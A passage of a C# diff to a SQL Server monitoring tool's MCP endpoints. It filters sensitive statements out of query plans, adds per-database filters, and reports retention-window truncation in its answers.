+    /// scan pins that). The reads on <see cref="LocalDataService"/> stay raw, because Lite's own windows show the user's
+    /// own data. Mirrors Darling's <c>DarlingStoredPlanReader</c>. <paramref name="maxOutputChars"/> is where the caller
+    /// will cut the plan, so the filter stops there.
+    /// </summary>
+    internal static async Task<string?> ReadQueryStatsPlanAsync(
+        LocalDataService dataService, int serverId, string queryHash, int maxOutputChars = int.MaxValue) =>
+        FilterStoredPlan(await dataService.GetCachedQueryPlanAsync(serverId, queryHash), maxOutputChars);
+
+    /// <summary>The procedure twin of <see cref="ReadQueryStatsPlanAsync"/> (see there).</summary>
+    internal static async Task<string?> ReadProcedurePlanAsync(
+        LocalDataService dataService, int serverId, string planHandle, int maxOutputChars = int.MaxValue) =>
+        FilterStoredPlan(await dataService.GetCachedProcedurePlanAsync(serverId, planHandle), maxOutputChars);
+
+    /// <summary>The live Query Store fetch of <see cref="ReadQueryStatsPlanAsync"/>'s family (see there).</summary>
+    internal static async Task<string?> ReadQueryStorePlanAsync(
+        string connectionString, string databaseName, long planId, int maxOutputChars = int.MaxValue) =>
+        FilterStoredPlan(await LocalDataService.FetchQueryStorePlanAsync(connectionString, databaseName, planId), maxOutputChars);
+
+    /// <summary>
+    /// The filter at the seam: the statement filter's XML judge over a plan read. A missing plan stays missing (the
+    /// callers' "no plan" answers still apply), and a plan the judge cannot finish comes back as the placeholder, never
+    /// as the raw text.
+    /// </summary>
+    internal static string? FilterStoredPlan(string? xml, int maxOutputChars = int.MaxValue) =>
+        string.IsNullOrEmpty(xml) ? xml : SensitiveStatements.Xml(xml, maxOutputChars) ?? SensitiveStatements.PlaceholderText;
+
+    /// <summary>
+    /// #4348: the one way every plan-analysis tool here turns plan XML into its result. The statement filter runs on
+    /// the XML first, because the analysis lifts parameter values and statement text out of it into fields the JSON
+    /// sweep cannot pair with their statement. A plan the filter withholds whole is answered with
+    /// <see cref="WithheldPlanMessage"/>. Kept out of <c>McpPlanAnalysisFormatter.BuildAnalysisResult</c>, which the
+    /// desktop Dashboard also calls.
+    /// </summary>
+    internal static string AnalyzeFilteredPlan(
+        string xml,
+        string? serverName,
+        string source,
+        string? identifier,
+        AnalyzerConfig? analyzerConfig,
+        ServerMetadata? metadata,
+        CancellationToken cancellationToken)
+    {
+        xml = SensitiveStatements.Xml(xml) ?? SensitiveStatements.PlaceholderText;
+        if (xml == SensitiveStatements.PlaceholderText)
+            return McpHelpers.Status("unavailable", WithheldPlanMessage);
+        return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, serverName, source, identifier, analyzerConfig, metadata, cancellationToken);
+    }
+
     /// <summary>
     /// What every Lite plan read answers when it finds no plan text. Lite never captures plans:
     /// <c>CollectorContext.CapturePlanXml</c> defaults to false and Lite never sets it (Darling does), so
@@ -58,7 +124,7 @@ public static async Task<string> AnalyzeQueryPlan(
 
         try
         {
-            var xml = await dataService.GetCachedQueryPlanAsync(resolved.ServerId, query_hash);
+            var xml = await ReadQueryStatsPlanAsync(dataService, resolved.ServerId, query_hash);
             /* Lite never fills query_stats.query_plan_xml, so a miss here is not "evicted from the plan cache":
                it is "Lite does not keep plans". The engine-capability answer still comes first. */
             if (string.IsNullOrEmpty(xml))
@@ -67,7 +133,7 @@ it is "Lite does not keep plans". The engine-capability answer still comes first
 
             // #4530: one store read per call so rule 38 can see the server's edition/MAXDOP.
             var metadata = await dataService.GetServerMetadataForPlanAnalysisAsync(resolved.ServerId);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "query_stats", query_hash, App.AnalyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "query_stats", query_hash, App.AnalyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -97,7 +163,7 @@ public static async Task<string> AnalyzeProcedurePlan(
 
         try
         {
-            var xml = await dataService.GetCachedProcedurePlanAsync(resolved.ServerId, plan_handle);
+            var xml = await ReadProcedurePlanAsync(dataService, resolved.ServerId, plan_handle);
             /* GetCachedProcedurePlanAsync reads the same query_stats.query_plan_xml (matched on plan_handle), which
                Lite never fills, so this miss is "Lite does not keep plans" too. The engine answer stays first. */
             if (string.IsNullOrEmpty(xml))
@@ -106,7 +172,7 @@ public static async Task<string> AnalyzeProcedurePlan(
 
             // #4530: one store read per call so rule 38 can see the server's edition/MAXDOP.
             var metadata = await dataService.GetServerMetadataForPlanAnalysisAsync(resolved.ServerId);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "procedure_stats", plan_handle, App.AnalyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "procedure_stats", plan_handle, App.AnalyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -150,7 +216,7 @@ public static async Task<string> AnalyzeQueryStorePlan(
             /* Deliberately NOT PlansNotKept: this tool reads no stored plan column. It fetches the plan from
                Query Store on the monitored instance, so "no plan found" here is a statement about that instance
                (Query Store off, plan purged) and stays true. */
-            var xml = await LocalDataService.FetchQueryStorePlanAsync(connectionString, database_name, plan_id);
+            var xml = await ReadQueryStorePlanAsync(connectionString, database_name, plan_id);
 
             if (string.IsNullOrEmpty(xml))
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_store")
@@ -160,7 +226,7 @@ public static async Task<string> AnalyzeQueryStorePlan(
 
             // #4530: one store read per call so rule 38 can see the server's edition/MAXDOP.
             var metadata = await dataService.GetServerMetadataForPlanAnalysisAsync(resolved.ServerId);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "query_store", $"{database_name}:{plan_id}", App.AnalyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "query_store", $"{database_name}:{plan_id}", App.AnalyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -188,7 +254,10 @@ public static string AnalyzePlanXml(
 
         try
         {
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(plan_xml, null, "xml", null, App.AnalyzerConfig, cancellationToken);
+            // #4348: the caller's XML has no stored-plan read to filter it, so AnalyzeFilteredPlan runs the statement
+            // filter before the analysis lifts parameter values and statement text out of it into fields the JSON sweep
+            // cannot pair.
+            return AnalyzeFilteredPlan(plan_xml, null, "xml", null, App.AnalyzerConfig, null, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -211,12 +280,12 @@ public static async Task<string> GetPlanXml(
 
         try
         {
-            var xml = await dataService.GetCachedQueryPlanAsync(resolved.ServerId, query_hash);
+            var xml = await ReadQueryStatsPlanAsync(dataService, resolved.ServerId, query_hash, PlanXmlOutputChars);
             if (string.IsNullOrEmpty(xml))
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_stats")
                     ?? PlansNotKept();
 
-            return McpHelpers.Truncate(xml, 512_000) ?? "No plan XML available.";
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
         }
         catch (Exception ex)
         {
diff --git a/Lite/Mcp/McpPvsTools.cs b/Lite/Mcp/McpPvsTools.cs
index 25892f0ee4..f6e1319475 100644
--- a/Lite/Mcp/McpPvsTools.cs
+++ b/Lite/Mcp/McpPvsTools.cs
@@ -28,7 +28,8 @@ public static async Task<string> GetPvsStats(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
-        [Description("Hours of size-trend history for the top-5 databases; 0 (default) returns the latest snapshot only.")] int trend_hours_back = 0)
+        [Description("Hours of size-trend history for the top-5 databases; 0 (default) returns the latest snapshot only.")] int trend_hours_back = 0,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -51,13 +52,31 @@ two together would fix one by breaking the other. */
             var serverClock = await McpServerLocalWindow.ClockForAsync(dataService, resolved.ServerId);
             string? UtcOrNull(DateTime? serverLocal) => serverLocal is { } stamp ? serverClock.ToUtc(stamp).ToString("o") : null;
 
-            var rows = await dataService.GetPvsStatsLatestAsync(resolved.ServerId);
+            /* #5244: database_name appended LAST (H1). A blank is "no filter"; any other value is kept exactly (no trim). The filter is on the
+               newest snapshot's ROWS (as_of is the server's), and the trend's top five are the top five of the chosen database. */
+            var names = string.IsNullOrWhiteSpace(database_name) ? null : new[] { database_name };
+            var rows = await dataService.GetPvsStatsLatestAsync(resolved.ServerId, names);
             if (rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "pvs_stats")
-                    ?? McpHelpers.Status("empty",
+                /* A filter that matches no database at the newest snapshot is an answer about the chosen database, not about the
+                   server's PVS collection: the probe is the same newest-snapshot read, unfiltered. */
+                if (names != null && await dataService.GetPvsStatsLatestAsync(resolved.ServerId) is { Count: > 0 } serverRows)
+                {
+                    return McpHelpers.StatusForDatabase("empty",
+                        $"No PVS rows for {McpDatabaseSelection.Scope(names)} on {resolved.ServerName} in the snapshot taken at "
+                        + $"{serverRows[0].CollectionTime:o}, though it holds {serverRows.Count:N0} other database(s). Check the database "
+                        + "name: the filter matches exactly, and a database with no row at that snapshot looks identical to one that does not exist.",
+                        McpDatabaseSelection.Describe(names));
+                }
+
+                /* #5244: every answer shape says which database it was limited to (null for every database). */
+                return McpHelpers.WithDatabase(
+                           await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "pvs_stats"),
+                           McpDatabaseSelection.Describe(names))
+                    ?? McpHelpers.StatusForDatabase("empty",
                         "No PVS data collected for this server. The collector reads sys.dm_tran_persistent_version_store_stats " +
-                        "(SQL Server 2019+); a server with no rows either predates ADR or has not completed a pvs_stats cycle yet.");
+                        "(SQL Server 2019+); a server with no rows either predates ADR or has not completed a pvs_stats cycle yet.",
+                        McpDatabaseSelection.Describe(names));
             }
 
             var databases = rows.Select(r => new
@@ -95,7 +114,7 @@ one whole UTC offset stale on a value that is usually seconds old. */
             object? trend = null;
             if (trend_hours_back > 0)
             {
-                var points = await dataService.GetPvsTrendAsync(resolved.ServerId, DateTime.UtcNow.AddHours(-trend_hours_back));
+                var points = await dataService.GetPvsTrendAsync(resolved.ServerId, DateTime.UtcNow.AddHours(-trend_hours_back), names);
                 trend = points
                     .GroupBy(p => p.DatabaseName)
                     .Select(g => new
@@ -116,6 +135,7 @@ snapshot carries — never a fabricated 0 MB in the series. */
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = McpDatabaseSelection.Describe(names),
                 as_of = rows[0].CollectionTime.ToString("o"),
                 databases,
                 trend_hours_back = trend_hours_back > 0 ? trend_hours_back : (int?)null,
diff --git a/Lite/Mcp/McpQueryTools.cs b/Lite/Mcp/McpQueryTools.cs
index 84c9ac1be9..5d30c86824 100644
--- a/Lite/Mcp/McpQueryTools.cs
+++ b/Lite/Mcp/McpQueryTools.cs
@@ -79,7 +79,7 @@ before the window was kept. See McpServerLocalWindow. */
                young install can cut a "Last 7 days" ask well short of 7 days with nothing on the page saying
                so. One probe, shared with the Queries-tab grid (LocalDataService.GetQueryWindowFloorAsync). */
             var floor = await dataService.GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, resolved.ServerId, requestedStart, nowUtc);
-            var effectiveStart = floor ?? requestedStart;
+            var effectiveStart = EffectiveWindowStart(floor, requestedStart);
             var truncated = IsWindowTruncated(floor, requestedStart);
 
             /* #2320: what fraction of the box's measured CPU the RETURNED rows explain — numerator is
@@ -135,7 +135,7 @@ an elastic pool (see CpuAttribution). */
                 // separate, correctly-labeled rows; null = ad-hoc/prepared text (or pre-upgrade
                 // history, which ages out with retention).
                 host_object = r.HostObjectName,
-                query_text = McpHelpers.Truncate(r.QueryText, 2000),
+                query_text = McpHelpers.TruncateStatement(r.QueryText, 2000),
                 distinct_texts = r.DistinctTexts,
                 text_note = r.DistinctTexts > 1
                     ? $"this group blends {r.DistinctTexts} distinct statement texts (ad-hoc literal variants; or history predating the host-object split for INSERT...EXEC callers); query_text is one representative"
@@ -149,7 +149,7 @@ an elastic pool (see CpuAttribution). */
                 /* #4231: what was served, beside what was asked for — query_stats is raw-only (no rollup
                    fallback), so a lowered retention_days or a young install can serve less than hours_back
                    with nothing else on the payload saying so. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((nowUtc - effectiveStart).TotalHours, 1),
                 window_truncated = truncated,
                 truncation_note = truncated
@@ -212,7 +212,7 @@ public static async Task<string> GetTopProceduresByCpu(
             /* #4231: what the window ACTUALLY reached, from the SAME relation (v_procedure_stats) the ranking
                read above just used. One probe, shared with the Queries-tab grid. */
             var floor = await dataService.GetQueryWindowFloorAsync(QueryWindowRelation.ProcedureStats, resolved.ServerId, requestedStart, nowUtc);
-            var effectiveStart = floor ?? requestedStart;
+            var effectiveStart = EffectiveWindowStart(floor, requestedStart);
             var truncated = IsWindowTruncated(floor, requestedStart);
 
             /* #2320: same attributed-CPU disclosure as the queries tool — one shared computation, one
@@ -264,7 +264,7 @@ an elastic pool (see CpuAttribution). */
                 /* #4231: what was served, beside what was asked for — procedure_stats is raw-only (no rollup
                    fallback), so a lowered retention_days or a young install can serve less than hours_back
                    with nothing else on the payload saying so. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((nowUtc - effectiveStart).TotalHours, 1),
                 window_truncated = truncated,
                 truncation_note = truncated
@@ -341,7 +341,7 @@ has no rollup fallback (the only one that keeps query_id/plan_id would approach
                so the honest move is to report what was served rather than echo what was asked for. Deliberately
                unfiltered: the floor is a property of the tier, not narrowed by database/execution_type/module. */
             var floor = await dataService.GetQueryWindowFloorAsync(QueryWindowRelation.QueryStoreStats, resolved.ServerId, requestedStart, nowUtc);
-            var effectiveStart = floor ?? requestedStart;
+            var effectiveStart = EffectiveWindowStart(floor, requestedStart);
             var truncated = IsWindowTruncated(floor, requestedStart);
 
             if (rows.Count == 0)
@@ -360,7 +360,7 @@ window is a measured zero whenever the read without the filters has rows. */
                            window, and the raw tier may not reach the whole of the one asked for. */
                         : McpHelpers.QueryStoreModuleEmpty(module_name, execution_type, hours_back, database_name, truncated, new
                         {
-                            effective_start = effectiveStart.ToString("o"),
+                            effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                             effective_hours_back = Math.Round((nowUtc - effectiveStart).TotalHours, 1),
                             window_truncated = truncated
                         });
@@ -395,7 +395,7 @@ the thing that cannot read it. */
                 avg_physical_reads = r.AvgPhysicalReads,
                 avg_rowcount = r.AvgRowcount,
                 last_execution_time = r.LastExecutionTime?.ToString("o"),
-                query_text = full_text ? r.QueryText : McpHelpers.Truncate(r.QueryText, QueryTextPreviewLength),
+                query_text = full_text ? r.QueryText : McpHelpers.TruncateStatement(r.QueryText, QueryTextPreviewLength),
                 query_text_truncated = !full_text && r.QueryText != null && r.QueryText.Length > QueryTextPreviewLength
             });
 
@@ -405,7 +405,7 @@ the thing that cannot read it. */
                 hours_back,
                 /* #4231: what was served, beside what was asked for — hours_back alone is a request echoed
                    back as though it described the data. Same keys, same meaning as Darling's get_query_store_top. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((nowUtc - effectiveStart).TotalHours, 1),
                 window_truncated = truncated,
                 truncation_note = truncated
@@ -462,8 +462,20 @@ public static async Task<string> GetQueryStoreRegressions(
             var windowStart = windowEnd.AddHours(-hours_back);
             var baselineStart = windowStart.AddDays(-LocalDataService.BaselineLookbackDays);
 
+            /* #4966: where this server's query_store_stats start, checked against the EARLIER of the two windows this
+               tool compares — the baseline's start, not the recent window's: a store that began inside the baseline
+               compares against a shorter baseline than baseline_is names, and nothing else on the payload says so.
+               The probe reads v_query_store_stats, the view both sides of the comparison read, and is unfiltered by
+               database_name (the floor is a property of the table). Read ahead of the empty answers, which carry it
+               too: "no query regressed" over a baseline the store only partly holds is not a true negative. */
+            var notice = await WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.QueryStoreStats, resolved.ServerId, baselineStart, windowEnd),
+                baselineStart, windowEnd, "query_store_stats",
+                "Here the window starts at baseline_start, so the baseline holds only the part from effective_start to baseline_end.",
+                emptyAnswer: rows.Count == 0);
+
             if (rows.Count == 0)
-                return await EmptyRegressionsAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd);
+                return await EmptyRegressionsAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, notice, databases);
 
             var truncated = rows.Count > limit;
 
@@ -471,6 +483,12 @@ public static async Task<string> GetQueryStoreRegressions(
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* The window floor, always present (false and null when the store covered the baseline). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor (McpPayloadContractCensusTests), so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 database_name,
                 /* A fixed lookback ending at the recent window's start, not "every capture ever collected
                    before it" - the baseline no longer grows with retention (Lite's twin of Darling's #4195). */
@@ -510,7 +528,7 @@ row with NO duration ratio is a verdict about a number that does not exist. Null
                     baseline_plan_count = r.BaselinePlanCount,
                     recent_plan_count = r.RecentPlanCount,
                     last_execution_time = r.LastExecutionTime?.ToString("o"),
-                    query_text = full_text ? r.QueryTextSample : McpHelpers.Truncate(r.QueryTextSample, RegressionsQueryTextPreviewLength),
+                    query_text = full_text ? r.QueryTextSample : McpHelpers.TruncateStatement(r.QueryTextSample, RegressionsQueryTextPreviewLength),
                     query_text_truncated = !full_text && r.QueryTextSample.Length > RegressionsQueryTextPreviewLength,
                 }),
             }, McpHelpers.JsonOptions);
@@ -558,9 +576,13 @@ void Note(string field, string baseline, string recent)
     /// The dangerous one is a server whose entire collected history sits INSIDE the requested window: it has
     /// no BEFORE, so it can never show a regression however badly it regressed, and answering "no
     /// regressions" there is a confident wrong answer rather than a missing one.</para>
+    /// <para>#5015: with a <c>database_name</c> filter, the server passing those questions is not enough. The same two
+    /// questions are then asked of the filtered database alone, so a database with only one side collected gets the
+    /// matching no-baseline or missing-window answer, naming it, and only a database with both sides is the all-clear.</para>
     /// </summary>
     private static async Task<string> EmptyRegressionsAsync(
-        LocalDataService dataService, int serverId, string serverName, int hours_back, DateTime windowEnd)
+        LocalDataService dataService, int serverId, string serverName, int hours_back, DateTime windowEnd, McpWindowNotice notice,
+        string[]? databases)
     {
         /* The anchor is threaded in rather than resolved again: the coverage probe answers "does a BEFORE
            exist for this window", and a window it computed for itself would be a different one. */
@@ -585,12 +607,52 @@ private static async Task<string> EmptyRegressionsAsync(
         {
             return McpHelpers.Status(
                 "empty",
-                $"{serverName} has Query Store history from before this window but nothing collected IN the last {hours_back} hour(s), so there is a recent side missing rather than nothing to report. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.");
+                $"{serverName} has Query Store history from before this window but nothing collected IN the last {hours_back} hour(s), so there is a recent side missing rather than nothing to report. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                notice.AsHints());
+        }
+
+        /* #5015: the probe above is the SERVER's, so it answers a database_name filter the same whether the database was
+           compared or not, and only a database with BOTH sides collected can be the all-clear. The filter reads the same
+           databases the read was asked for, and the answer is decided from that pair with the server-wide answers' own
+           statuses: neither side means the filter matched nothing, no baseline is the server-wide no-baseline answer and
+           no capture in the window the server-wide missing-window answer, each naming the database. Darling's twin words
+           it the same. */
+        if (databases is not null)
+        {
+            var (filteredBaseline, filteredRecent) = await dataService.GetQueryStoreRegressionCoverageAsync(
+                serverId, hours_back, asOfUtc: windowEnd, databaseNames: databases);
+
+            if (!filteredBaseline && !filteredRecent)
+            {
+                return McpHelpers.Status(
+                    "empty",
+                    $"No Query Store capture on {serverName} in the last {hours_back} hour(s) or in the {LocalDataService.BaselineLookbackDays}-day baseline before it matched database_name '{databases[0]}', so the filter matched nothing and this is NOT the all-clear: no query in that database was compared. Check the database name, or drop the filter to read every database.",
+                    notice.AsHints());
+            }
+
+            if (!filteredBaseline)
+            {
+                return McpHelpers.Status(
+                    "unavailable",
+                    $"{serverName} has no Query Store capture of database_name '{databases[0]}' in the {LocalDataService.BaselineLookbackDays}-day baseline window before this window, so there is no baseline for that database to compare against and no regression of its queries can be detected however badly one regressed. This is NOT a clean bill of health: no query in that database was compared. Either that database's whole collected history falls inside the last {hours_back} hour(s), or it has none older than the baseline lookback yet.");
+            }
+
+            if (!filteredRecent)
+            {
+                return McpHelpers.Status(
+                    "empty",
+                    $"{serverName} has Query Store history of database_name '{databases[0]}' from before this window but nothing of it collected IN the last {hours_back} hour(s), so that database's recent side is missing rather than nothing to report, and this is NOT the all-clear: no query in that database was compared. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                    notice.AsHints());
+            }
         }
 
         return McpHelpers.Status(
             "empty",
-            $"No query on {serverName} regressed in the last {hours_back} hour(s). Both a baseline and this window were collected and no query's average CPU is more than 25% worse than its baseline — this IS the all-clear for this read.");
+            McpHelpers.QuietUnlessCut(
+                notice.WindowTruncated, notice.EffectiveStart,
+                factual: $"No query on {serverName} regressed in the last {hours_back} hour(s). Both a baseline and this window were collected and no query's average CPU is more than 25% worse than its baseline",
+                coveredClaim: " — this IS the all-clear for this read."),
+            notice.AsHints());
     }
 
     [McpServerTool(Name = "get_query_heatmap"), Description("Draws the desktop viewer's Query Heatmap as a table: how many distinct queries fell into each (time bin x log-magnitude bucket) cell over a window, plus the most-executed query in each cell. It answers when a server was slow and how slow at the same time - get_top_queries_by_cpu ranks queries over a whole window and cannot show that the window had two very different halves. Bins are 5 minutes wide by default because that is exactly what the desktop viewer uses, so a browser, an agent and a desktop pointed at the same server draw the same picture; raise bucket_minutes for a longer window, which is also the lever that fits more of the window inside the cell cap. Magnitude buckets are the viewer's seven, in the metric's own unit: under 1, 1-10, 10-100, 100-1K, 1K-10K, 10K-100K and over 100K.")]
@@ -646,8 +708,19 @@ read whose entire output is a time axis (review catch). One instant now decides
             var rows = await dataService.GetQueryHeatmapCellsAsync(
                 resolved.ServerId, parsedMetric, hours_back, bucket_minutes, limit + 1, databases, asOfUtc: windowEnd, previewLength);
 
+            /* #4966: where this server's query_stats start for the window, beside the cell cap's `truncated` below —
+               that one says the grid held more cells than limit, this one says the store did not hold the window's
+               head, so the grid's empty left edge is a retention cut or a young install rather than a quiet server.
+               The probe reads v_query_stats, the view the cells came from, and is unfiltered by database_name (the
+               floor is a property of the table). Read ahead of the empty answers, which carry it too: an empty grid
+               over a window the store does not reach back to is not a true negative. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "query_stats", emptyAnswer: rows.Count == 0);
+
             if (rows.Count == 0)
-                return await EmptyHeatmapAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd);
+                return await EmptyHeatmapAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, notice, filtered: databases is not null);
 
             var truncated = rows.Count > limit;
             var cells = rows.Take(limit).ToList();
@@ -682,6 +755,12 @@ because the SQL sorts time DESC and bucket ASC. The DESC exists only so the cap
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* The window floor, always present (false and null when the store covered the window). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor (McpPayloadContractCensusTests), so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 metric = LocalDataService.HeatmapMetricName(parsedMetric),
                 metric_unit = LocalDataService.HeatmapMetricUnit(parsedMetric),
                 database_name,
@@ -758,7 +837,8 @@ way to see how much of the window is missing. */
     /// caller to widen the window there would be advice pointed at the wrong problem.</para>
     /// </summary>
     private static async Task<string> EmptyHeatmapAsync(
-        LocalDataService dataService, int serverId, string serverName, int hours_back, DateTime windowEnd)
+        LocalDataService dataService, int serverId, string serverName, int hours_back, DateTime windowEnd, McpWindowNotice notice,
+        bool filtered)
     {
         /* The anchor is threaded in rather than resolved again: the probe answers "was anything collected
            in THIS window", and a window it computed for itself would be a different one. */
@@ -776,12 +856,20 @@ private static async Task<string> EmptyHeatmapAsync(
         {
             return McpHelpers.Status(
                 "empty",
-                $"{serverName} has query stats from outside this window but nothing collected IN the last {hours_back} hour(s), so the grid has no columns rather than no hot cells. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.");
+                $"{serverName} has query stats from outside this window but nothing collected IN the last {hours_back} hour(s), so the grid has no columns rather than no hot cells. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                notice.AsHints());
         }
 
         return McpHelpers.Status(
             "empty",
-            $"Query stats WERE collected for {serverName} in the last {hours_back} hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid. A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.");
+            McpHelpers.QuietUnlessCut(
+                /* A database_name filter is exempt: the coverage probe is unfiltered, so a filtered empty grid may be the filter and
+                   not the window, and the covered sentence is the one that says so. */
+                notice.WindowTruncated && !filtered, notice.EffectiveStart,
+                factual: $"Query stats WERE collected for {serverName} in the last {hours_back} hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid",
+                coveredClaim: ". A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected.",
+                tail: " Delta-based collection also needs a SECOND cycle before the first non-zero row exists."),
+            notice.AsHints());
     }
 
     [McpServerTool(Name = "get_query_duration_trend"), Description("Gets a time-series of query elapsed_ms_per_second and executions_per_second across all queries, points ending at as_of. A collection whose interval was unknowable is excluded, not counted as 0: unrated_collections counts it, and a point left with nothing else carries null rates (unrated_points), never zero. No points: unavailable means query_stats was never collected here; empty means it was (the message says quiet window or rollup coverage gap). window_truncated is the store's retention floor, not a page cut: effective_start / effective_hours_back say where the answer begins. <<GUIDE>> Gets a time-series of average query duration over time. Useful for spotting overall performance degradation or improvement trends across all queries. Points are time buckets (bucket, aggregate_note); rates are over each collection's STORED sample interval, and a collection whose interval was unknowable - a restart or counter reset, or the window's first collection when none was stored - is left out rather than counted as 0 (unrated_collections counts them; a point with nothing else carries null rates, unrated_points). Lite has one tier - nothing is rolled up." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
@@ -791,7 +879,8 @@ public static async Task<string> GetQueryDurationTrend(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null)
+        [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -805,16 +894,20 @@ public static async Task<string> GetQueryDurationTrend(
             var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
             if (bucketError != null) return bucketError;
 
+            /* #5244: database_name appended LAST (H1). Blank or whitespace is every database. The bucketed read takes a
+               database list, the way the rest of the trend family does. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
             var grain = Bucketed(bucketMinutes, bucket_minutes is not null, budget.AutoPoints);
             var startUtc = windowEnd.AddHours(-hours_back);
-            var points = await dataService.GetBucketedQueryDurationTrendAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, bucketMinutes);
+            var points = await dataService.GetBucketedQueryDurationTrendAsync(
+                resolved.ServerId, hours_back, asOfUtc: windowEnd, bucketMinutes, database == null ? null : new[] { database });
 
             if (points.Count == 0)
             {
                 /* Same two states again, same words as Darling's twin. The probe reads v_query_stats
                    because THIS trend does; Darling's probes the base table because ITS trend does. Each
                    probe follows its own read — what the caller sees is one sentence, not two. */
-                var gated = await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_stats");
+                var gated = McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_stats"), database);
                 if (gated != null)
                 {
                     return gated;
@@ -823,18 +916,18 @@ public static async Task<string> GetQueryDurationTrend(
                 return await dataService.HasAnyQueryStatAsync(resolved.ServerId)
                     ? EmptyStatus(
                         "empty",
-                        $"No query samples recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected query stats before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent samples.",
-                        startUtc, windowEnd, grain)
+                        $"No query samples recorded for {ScopedServer(resolved.ServerName, database)} in the last {hours_back} hour(s). This server HAS collected query stats before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent samples.",
+                        startUtc, windowEnd, grain, database)
                     : EmptyStatus(
                         "unavailable",
                         $"No query stats have EVER been recorded for {resolved.ServerName}. This is not an empty window — the query_stats collector has stored nothing at all for this server. Check that collection is running and that the server is enabled; get_top_queries_by_cpu will be equally empty until it does.",
-                        startUtc, windowEnd, grain);
+                        startUtc, windowEnd, grain, database);
             }
 
             /* The two siblings below serialize through the SAME helper, so the three Performance-Trends
